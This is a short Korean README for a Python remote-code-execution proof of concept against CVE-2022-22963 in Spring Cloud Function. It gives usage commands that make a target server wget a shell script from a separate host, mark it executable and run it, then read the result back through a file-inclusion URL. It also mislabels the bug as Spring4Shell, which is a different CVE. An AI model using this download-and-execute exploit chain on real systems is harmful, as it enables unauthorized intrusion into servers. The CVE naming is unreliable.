
CVE-2022-22963 RCE PoC (파이썬)
이것은 Spring Cloud Function <=3.1.6(3.1.x 기준) 및 <=3.2.2(3.2.x 기준)를 실행하는 서비스에 영향을 주는 Spring4Shell, CVE-2022-22963의 파이썬 구현입니다.
# 로컬 웹서버에서 test.sh 서빙
$ cat test.sh
#!/bin/bash
whoami > /tmp/rce
$ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
$ python exploit.py 10.10.10.10:8080 'chmod +x /tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
$ python exploit.py 10.10.10.10:8080 '/tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
# LFI가 있다면 생성된 파일의 내용을 볼 수 있습니다
$ curl -s http://10.10.10.10:8080/LFI?file=/tmp/rce
user
https://www.fastly.com/blog/spring-has-sprung-breaking-down-cve-2022-22963-and-spring4shell-cve-2022